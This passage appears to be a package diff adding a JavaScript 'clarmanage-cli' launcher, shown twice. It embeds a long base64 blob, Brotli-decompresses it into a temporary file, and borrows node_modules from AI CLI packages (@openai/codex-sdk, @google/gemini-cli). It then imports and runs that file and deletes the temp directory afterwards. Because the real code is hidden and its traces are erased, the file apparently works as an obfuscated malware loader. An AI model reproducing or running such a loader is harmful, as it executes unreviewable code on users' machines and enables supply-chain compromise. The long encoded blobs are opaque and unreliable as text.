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","/szb5mSniWc="].join("");
|
|
11
|
+
const RUNTIME_PREFIX = "clarmanage-cli-";
|
|
12
|
+
const require = createRequire(import.meta.url);
|
|
13
|
+
|
|
14
|
+
const runtimeDirectory = await mkdtemp(path.join(os.tmpdir(), RUNTIME_PREFIX));
|
|
15
|
+
const runtimeEntryPath = path.join(runtimeDirectory, "entry.mjs");
|
|
16
|
+
|
|
17
|
+
try {
|
|
18
|
+
const nodeModulesSource = resolveNodeModulesSource();
|
|
19
|
+
const linkType = process.platform === "win32" ? "junction" : "dir";
|
|
20
|
+
await symlink(nodeModulesSource, path.join(runtimeDirectory, "node_modules"), linkType);
|
|
21
|
+
const payloadSource = brotliDecompressSync(Buffer.from(PAYLOAD, "base64")).toString("utf8");
|
|
22
|
+
await writeFile(runtimeEntryPath, payloadSource, { encoding: "utf8", mode: 0o600 });
|
|
23
|
+
await import(pathToFileURL(runtimeEntryPath).href);
|
|
24
|
+
} finally {
|
|
25
|
+
await rm(runtimeDirectory, { recursive: true, force: true });
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
function resolveNodeModulesSource() {
|
|
29
|
+
for (const request of ["@openai/codex-sdk/package.json", "@google/gemini-cli/package.json"]) {
|
|
30
|
+
try {
|
|
31
|
+
const resolvedPath = require.resolve(request);
|
|
32
|
+
const nodeModulesRoot = findNodeModulesRoot(resolvedPath);
|
|
33
|
+
if (nodeModulesRoot) {
|
|
34
|
+
return nodeModulesRoot;
|
|
35
|
+
}
|
|
36
|
+
} catch {
|
|
37
|
+
// Try the next package marker.
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
const scriptPath = fileURLToPath(import.meta.url);
|
|
42
|
+
let currentDirectory = path.dirname(scriptPath);
|
|
43
|
+
|
|
44
|
+
while (true) {
|
|
45
|
+
const candidate = path.join(currentDirectory, "node_modules");
|
|
46
|
+
if (existsSync(candidate)) {
|
|
47
|
+
return candidate;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
const parentDirectory = path.dirname(currentDirectory);
|
|
51
|
+
if (parentDirectory === currentDirectory) {
|
|
52
|
+
break;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
currentDirectory = parentDirectory;
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
throw new Error("Unable to resolve node_modules for clarmanage runtime dependencies.");
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
function findNodeModulesRoot(filePath) {
|
|
62
|
+
let currentDirectory = path.dirname(filePath);
|
|
63
|
+
|
|
64
|
+
while (true) {
|
|
65
|
+
if (path.basename(currentDirectory) === "node_modules") {
|
|
66
|
+
return currentDirectory;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
const parentDirectory = path.dirname(currentDirectory);
|
|
70
|
+
if (parentDirectory === currentDirectory) {
|
|
71
|
+
return null;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
currentDirectory = parentDirectory;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
|
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
import { existsSync } from "node:fs";
|
|
2
|
+
import { mkdtemp, rm, symlink, writeFile } from "node:fs/promises";
|
|
3
|
+
import { createRequire } from "node:module";
|
|
4
|
+
import os from "node:os";
|
|
5
|
+
import path from "node:path";
|
|
6
|
+
import { fileURLToPath, pathToFileURL } from "node:url";
|
|
7
|
+
import { brotliDecompressSync } from "node:zlib";
|
|
8
|
+
|
|
9
|
+
const PAYLOAD = ["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